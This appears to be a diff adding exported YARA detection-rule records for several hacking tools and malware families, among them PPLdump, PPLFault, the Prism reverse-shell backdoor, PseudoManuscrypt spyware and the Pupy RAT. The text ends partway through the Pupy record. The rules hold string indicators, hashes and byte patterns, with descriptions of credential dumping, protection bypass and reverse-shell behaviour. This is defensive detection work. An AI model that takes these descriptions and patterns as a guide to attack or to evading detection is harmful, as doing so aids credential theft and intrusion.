+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576245Z",
+  "creation_date": "2026-03-23T11:46:25.576248Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576253Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/itm4n/PPLdump\nhttps://itm4n.github.io/the-end-of-ppldump/\nhttps://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "ppldump.yar",
+  "content": "rule ppldump {\n    meta:\n        title = \"PPLdump HackTool\"\n        id = \"c5bd38ce-c017-4dc6-82dd-3f3dea77964b\"\n        description = \"Detects PPLdump, a tool to dump the memory of a Protected Process Light (PPL) using a userland exploit.\\nPPLdump is designed to bypass LSA protection and extract the memory of the LSASS process, which can be used for credential dumping.\\nIt is recommended to investigate the process responsible for the presence or execution of this file to look for malicious indicators or actions.\"\n        references = \"https://github.com/itm4n/PPLdump\\nhttps://itm4n.github.io/the-end-of-ppldump/\\nhttps://attack.mitre.org/techniques/T1003/001/\"\n        date = \"2024-01-23\"\n        modified = \"2025-03-05\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1003.001\"\n        classification = \"Windows.HackTool.PPLdump\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 5a142574f37834a0d27e8317231c5457683ee644a6717afd124b633d4641262d\n        // 96933b4c14006368e584ae8b77cd9feba20fdecab4e68a6bb46ba09fd1aaa265\n        // 8a3f338a1e3633d13c74c993775a345ccac3a6887d697cbe89f2fa5fb4fe1199\n\n        $c1 = \"Global\\\\%ws_DLL_LOADED\" wide fullword\n        $c2 = \"Global\\\\%ws_DUMP_SUCCESS\" wide fullword\n        $c3 = \"\\\\KnownDlls\\\\%ws\" wide fullword\n        $c4 = \"%ws\\\\%ws %d \\\"%ws\\\" %ws\" wide fullword\n\n        $s1 = \"PID=%d | File='%ws' | GUID='%ws\" wide fullword\n        $s2 = \"[-] Failed to delete KnownDll entry '%ws\" wide fullword\n        $s3 = \"%ws DumpProcessMemory: %ws\" wide fullword\n        $s4 = \"NtOpenSymbolicLinkObject('%ws', WRITE_DAC) OK\"  wide fullword\n        $s5 = \"[+] Dump successfull! :)\" wide fullword\n        $s6 = \"[!] Failed to get the protection level of process with PID %d\" wide fullword\n        $s7 = \"Found a potential Process candidate: PID=%d - Image='%ws' - User='%ws'\" wide fullword\n        $s8 = \"[-] Failed to delete KnownDll entry '%ws'\" wide fullword\n\n    condition:\n        3 of ($c*) and 2 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ppldump"
+  ],
+  "rule_creation_date": "2024-01-23",
+  "rule_modified_date": "2025-03-05",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.PPLdump"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-pplfault_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581709Z",
+  "creation_date": "2026-03-23T11:46:25.581711Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581717Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/gabriellandau/PPLFault\nhttps://www.elastic.co/security-labs/inside-microsofts-plan-to-kill-pplfault"
+  ],
+  "name": "pplfault.yar",
+  "content": "import \"pe\"\n\nrule pplfault {\n    meta:\n        title = \"PPLFault HackTool\"\n        id = \"c7e4f1f1-eb6c-491c-97a9-1ecd85c842f8\"\n        description = \"Detects the PPLFault HackTool.\\nPPLFault is a tool that exploits vulnerabilities to bypass LSA protection, terminate or blind PPL processes, and modify kernel memory without using vulnerable drivers.\\nIt is recommended to investigate the process responsible for the presence or execution of this file to look for malicious indicators or actions.\"\n        references = \"https://github.com/gabriellandau/PPLFault\\nhttps://www.elastic.co/security-labs/inside-microsofts-plan-to-kill-pplfault\"\n        date = \"2024-01-24\"\n        modified = \"2025-03-05\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1003.001;attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.HackTool.PPLFault\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // f89a40eea7410cc50e20408f18350dc3232f68df3ed70d3362ba391871dffa17\n        // f61e1b2b2115ccd62ef93e3ac8353f354ca7bd7806abd40c55e12352cb1ab4e0\n\n        $s1 = \"CreateFile for oplock failed with GLE %u\" ascii fullword\n        $s2 = \"Hydrating %llu bytes at offset %llu\" ascii fullword\n        $s3 = \"Hydrating %llu PAYLOAD bytes at offset %llu\" ascii fullword\n        $s4 = \"InstallSymlink: MoveFileExW failed with GLE: %u\" ascii fullword\n        $s5 = \"SpawnPPL: CreateProcessW failed with GLE: %u\" ascii fullword\n        $s6 = \"CfRegisterSyncRoot failed with HR 0x%08x GLE %u\" ascii fullword\n        $s7 = \"FindOffsetOfEntrypoint: ImageNtHeader failed with GLE %u.  Is this a PE file?\" ascii fullword\n        $s8 = \"GetShellcode: %u bytes of shellcode written over DLL entrypoint\" ascii fullword\n        $s9 = \"C:\\\\PPLFaultTemp\\\\EventAggregationPH.dll\" wide fullword\n        $s10 = \"C:\\\\GodFaultTemp\\\\EventAggregationPH.dll\" wide fullword\n        $s11 = \"C:\\\\Windows\\\\System32\\\\EventAggregation.dll.bak\" wide fullword\n\n        $resource_pplfault = {4c 89 44 24 18 89 54 24 10 48 89 4c 24 08 48 83 ec 78 48 c7 44 24 48 00 00 00 00 48 c7 44 24 68}\n        $resource_godfault = {4c 89 44 24 18 89 54 24 10 48 89 4c 24 08 48 83 ec 38 e8 89 08 00 00 48 89 44 24 20 e8 ff 06 00}\n\n    condition:\n        5 of ($s*) or\n        for any i in (0 .. pe.number_of_resources) : (\n            $resource_pplfault at pe.resources[i].offset or\n            $resource_godfault at pe.resources[i].offset\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "pplfault"
+  ],
+  "rule_creation_date": "2024-01-24",
+  "rule_modified_date": "2025-03-05",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.PPLFault"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-prism_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572621Z",
+  "creation_date": "2026-03-23T11:46:25.572623Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572629Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/elf.prism"
+  ],
+  "name": "prism.yar",
+  "content": "rule prism_x64 {\n    meta:\n        title = \"Prism RAT\"\n        id = \"e202ac83-95d8-442d-88e9-b33d783059eb\"\n        description = \"Detects the usage of Prism, an open source backdoor and reverse shell. \\nPrism is designed to provide remote access to a compromised system, allowing attackers to execute commands and maintain persistence.\\nThese backdoors are often dropped by other malware or used in APT activities.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/elf.prism\"\n        date = \"2021-08-26\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1041;attack.t1059\"\n        classification = \"Linux.Malware.Prism\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Clear string that are used to outline the Prism configuration in its main.\n        $clear_marker_1 = \"Flush Iptables:\\t\" ascii\n        $clear_marker_2 = \"Version:\\t\\t%s\\n\" ascii\n        $clear_marker_3 = \"Mode:\\t\\t\\tstatic\\n Host:\\t\\t\\t%s\\n Port:\\t\\t\\t%d\\n Respawn Delay:\\t\\t%d sec\\n\" ascii\n        $clear_marker_4 = \"Mode:\\t\\t\\ticmp\\nKey:\\t\\t\\t%s\\n\" ascii\n        $clear_marker_5 = \"Shell:\\t\\t\\t%s\\n\" ascii\n        $clear_marker_6 = \"Process name:\\t\\t%s\\n\" ascii\n        $clear_marker_7 = \"Detach:\\t\\t\" ascii\n        $clear_marker_8 = \"I'm not root :(\" ascii\n\n        $socket_creation_pattern = {\n            BA 00 00 00 00 // mov edx, 0\n            BE 01 00 00 00 // mov esi, 1                      // SOCK_STREAM\n            BF 02 00 00 00 // mov edi, 2                      // AF_INET\n            E8 ?? ?? ?? ?? // call 0xXXXXXXXX                 // socket\n            89 45 ??       // mov dword ptr [rbp + 0xXX], eax // Grab return value\n            83 7D ?? 00    // cmp dword ptr [rbp + 0xXX], 0   // Check for error\n        }\n\n        $reverse_shell_spawning = {\n            8B 45 ??       // mov eax, dword ptr [rbp + 0xXX]\n            BE 00 00 00 00 // mov esi, 0                      // stdin\n            89 C7          // mov edi, eax                    // fd\n            E8 ?? ?? ?? ?? // call 0xXXXXXXXX                 // dup2\n\n            8B 45 ??       // mov eax, dword ptr [rbp + 0xXX]\n            BE 01 00 00 00 // mov esi, 1                      // stdout\n            89 C7          // mov edi, eax                    // fd\n            E8 ?? ?? ?? ?? // call 0xXXXXXXXX                 // dup2\n\n            8B 45 ??       // mov eax, dword ptr [rbp + 0xXX]\n            BE 02 00 00 00 // mov esi, 2                      // stderr\n            89 C7          // mov edi, eax                    // fd\n            E8 ?? ?? ?? ?? // call 0xXXXXXXXX                 // dup2\n\n            BA 00 00 00 00 // mov edx, 0\n            BE ?? ?? ?? ?? // mov esi, 0xXXXXXXXX             // arg  = offset to shell string\n            BF ?? ?? ?? ?? // mov edi, 0xXXXXXXXX             // file = offset to shell string\n            B8 00 00 00 00 // mov edx, 0\n            E8 ?? ?? ?? ?? // call 0xXXXXXXXX                 // execl\n\n            8B 45 ??       // mov eax, dword ptr [rbp + 0xXX]\n            89 C7          // mov edi, eax                    // fd\n            E8 ?? ?? ?? ?? // call 0xXXXXXXXX                 // close\n        }\n\n    condition:\n        uint32(0) == 0x464C457F and filesize < 100KB and (4 of ($clear_marker_*) or ($socket_creation_pattern and $reverse_shell_spawning))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "prism_x64"
+  ],
+  "rule_creation_date": "2021-08-26",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Malware.Prism"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1059",
+    "attack.t1041"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-proxyblob_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.590453Z",
+  "creation_date": "2026-03-23T11:46:25.590455Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.590461Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/quarkslab/proxyblob"
+  ],
+  "name": "proxyblob.yar",
+  "content": "rule proxyblob_hacktool {\n    meta:\n        title = \"Proxyblob HackTool\"\n        id = \"92bda796-f394-4990-a97e-46c203263241\"\n        description = \"Detects the Proxyblob HackTool.\\nProxyBlob is a Golang tool designed to create SOCKS proxy tunnels through the Azure Blob Storage service, used to proxy network traffic and bypass firewall restrictions.\\nIt is recommended to verify if the usage of this tool is legitimate.\"\n        references = \"https://github.com/quarkslab/proxyblob\"\n        date = \"2026-02-16\"\n        modified = \"2026-02-23\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1090;attack.t1573.001;attack.t1571\"\n        classification = \"HackTool.Proxyblob\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // a9c958a3ddc568cb76dd62fdae50c02f555c54092661b326f6f8997d380dc510\n        // ea7f9ec52d656a79aa01f7351b4c6b9b903e55d71b11b742eaa2e413a3cacfad\n        // 3b44cba944aad704a88a05497051be61cc5fe082db81504d92e22d7868e0b77d\n\n        $s1 = \"proxyblob\" ascii\n        $s2 = \"github.com/Azure/azure-sdk-for-go/\" ascii\n        $s3 = \"github.com/rs/zerolog\" ascii\n\n    condition:\n        all of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "proxyblob_hacktool"
+  ],
+  "rule_creation_date": "2026-02-16",
+  "rule_modified_date": "2026-02-23",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "HackTool.Proxyblob"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1090",
+    "attack.t1573.001",
+    "attack.t1571"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-pseudomanuscrypt_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583093Z",
+  "creation_date": "2026-03-23T11:46:25.583095Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583101Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.pseudo_manuscrypt\nhttps://www.youtube.com/watch?v=uakw2HMGZ-I"
+  ],
+  "name": "pseudomanuscrypt.yar",
+  "content": "rule pseudomanuscrypt {\n    meta:\n        title = \"PseudoManuscrypt Spyware\"\n        id = \"b891b841-3ba2-413c-9b24-3e9dfb681dc8\"\n        description = \"Detects the PseudoManuscrypt Spyware.\\nPseudoManuscrypt is a spyware known for stealing browser cookies, keystrokes, and cryptocurrency information.\\nIt is commonly spread through fake cracked software downloads on malicious websites.\\nThe malware establishes persistence and communicates with its command and control servers to exfiltrate stolen data.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.pseudo_manuscrypt\\nhttps://www.youtube.com/watch?v=uakw2HMGZ-I\"\n        date = \"2023-09-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.privilege_escalation;attack.t1055.012;attack.credential_access;attack.t1555\"\n        classification = \"Windows.Spyware.PseudoManuscrypt\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // fd6cbe99be50a03ab25307c78393470002cd904d4b08b875e0611a31c779da3f\n        // 32e60467041b40146d87fc1c8c734f60f7e3763820e0c2a852a801c8afd1c7ab\n\n        $s1 = \"[Time:]%d-%d-%d  %d:%d:%d\" wide fullword\n        $s2 = \"_kasssperskdy\" wide fullword\n        $s3 = \"SOFTWARE\\\\Classes\\\\CLSID\\\\{SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}\" wide fullword\n        $s4 = \"%ssvchost.exe -k WspService\" wide fullword\n        $s5 = \"LoaderDll%d\" wide fullword\n\n    condition:\n        4 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "pseudomanuscrypt"
+  ],
+  "rule_creation_date": "2023-09-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Spyware.PseudoManuscrypt"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.012",
+    "attack.t1555"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-pspy_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585822Z",
+  "creation_date": "2026-03-23T11:46:25.585826Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585835Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/DominicBreuker/pspy\nhttps://attack.mitre.org/techniques/T1057/"
+  ],
+  "name": "pspy.yar",
+  "content": "import \"hash\"\n\nrule pspy_binaries {\n    meta:\n        title = \"Pspy Process Monitoring Binaries\"\n        id = \"a1ddeded-18da-4c3f-922e-56e468668506\"\n        description = \"Detects the pspy precompiled binaries.\\nPspy is a popular open-source tool written in Go that enables the enumeration of processes on Linux systems without requiring root privileges. These binaries are often used for legitimate process monitoring but can also be leveraged by attackers for unauthorized system reconnaissance.\\nIt is recommended to investigate the presence of these binaries to ensure they are being used in accordance with intended permissions and policies.\"\n        references = \"https://github.com/DominicBreuker/pspy\\nhttps://attack.mitre.org/techniques/T1057/\"\n        date = \"2023-08-01\"\n        modified = \"2025-03-12\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1057\"\n        classification = \"Linux.Tool.pspy\"\n        context = \"process,memory,file.elf\"\n        os = \"Linux\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        $github = \"github.com/dominicbreuker/pspy\" ascii\n\n    condition:\n        $github or\n        hash.sha256(0, filesize) == \"f2e8ed736e90aa38fd23606937e9e8393db6d10cb3be426afe4b65564860df35\" or\n        hash.sha256(0, filesize) == \"e0277c164facb2d0fb95682a77887dd908b0e1dacb28a2bcafd6728b34835425\"\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "pspy_binaries"
+  ],
+  "rule_creation_date": "2023-08-01",
+  "rule_modified_date": "2025-03-12",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Tool.pspy"
+  ],
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1057"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ptunnel_ng_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586767Z",
+  "creation_date": "2026-03-23T11:46:25.586769Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586775Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/utoni/ptunnel-ng\nhttps://stuff.mit.edu/afs/sipb/user/golem/tmp/ptunnel-0.61.orig/web\nhttps://attack.mitre.org/techniques/T1572"
+  ],
+  "name": "ptunnel_ng.yar",
+  "content": "rule ptunnel_ng {\n    meta:\n        title = \"Ptunnel HackTool\"\n        id = \"9b9cf09c-ed1d-4ba0-af1c-c8b9204281be\"\n        description = \"Detects the ptunnel-ng and ptunnel binary.\\nPtunnel (PingTunnel) is an ICMP tunneling proxy written in C that may used to bypass network controls.\\nIt is recommended to verify that this binary is expected in your environment and to investigate for any suspicious network connections.\"\n        references = \"https://github.com/utoni/ptunnel-ng\\nhttps://stuff.mit.edu/afs/sipb/user/golem/tmp/ptunnel-0.61.orig/web\\nhttps://attack.mitre.org/techniques/T1572\"\n        date = \"2025-09-24\"\n        modified = \"2025-09-30\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1572\"\n        classification = \"HackTool.ptunnel\"\n        context = \"process,memory,thread,file.pe,file.elf\"\n        os = \"Windows,Linux,MacOS\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // e4d46ed34dfc6806feec15a3eeddbfa92b2651066014dfea58e1f7fdd2d50812 (Windows)\n        // f84ddc4ab25990acd3c1b5b555a2e576c82c86f2c3c7752d13c72295d8922a14 (Linux)\n\n        $s1 = \"Destination at %s:%u\" ascii\n        $s2 = \"ptunnel is exiting.\" ascii\n        $s3 = \"One of the options are missing of invalid.\" ascii\n        $s4 = \"/run/ptunnel.pid\" ascii\n        $s5 = \"/var/log/ptunnel.log\" ascii\n        $s6 = \"/var/lib/ptunnel\" ascii\n\n        $print_statistics = \"[inf]: I/O: %6.2f/%6.2f mb ICMP I/O/R: %8u/%8u/%8u Loss: %4.1f%%\" ascii\n\n    condition:\n        3 of ($s*) or $print_statistics\n}",
+  "rule_count": 1,
+  "rule_names": [
+    "ptunnel_ng"
+  ],
+  "rule_creation_date": "2025-09-24",
+  "rule_modified_date": "2025-09-30",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "HackTool.ptunnel"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1572"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-pupy_memory_dlls_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585985Z",
+  "creation_date": "2026-03-23T11:46:25.585989Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585997Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0192/\nhttps://github.com/n1nj4sec/pupy"
+  ],
+  "name": "pupy_memory_dlls.yar",
+  "content": "rule pupy_memory_dll_generic {\n    meta:\n        title = \"Generic Pupy DLL\"\n        id = \"61e5b7cc-7d3d-49ea-953f-69c1d2fa1079\"\n        description = \"Detects the Pupy RAT in memory.\\nPupy is a cross-platform remote access tool (RAT) with multiple post-exploitation capabilities, primarily written in Python. It uses all-in-memory execution to minimize its footprint and can communicate through various transports. Pupy can inject itself into processes, load remote Python code, packages, and C-extensions directly from memory, enabling persistence and lateral movement.\"\n        references = \"https://attack.mitre.org/software/S0192/\\nhttps://github.com/n1nj4sec/pupy\"\n        date = \"2021-02-05\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0192;attack.t1055.001;attack.t1055.004;attack.t1059.001\"\n        classification = \"Windows.Framework.Pupy\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n 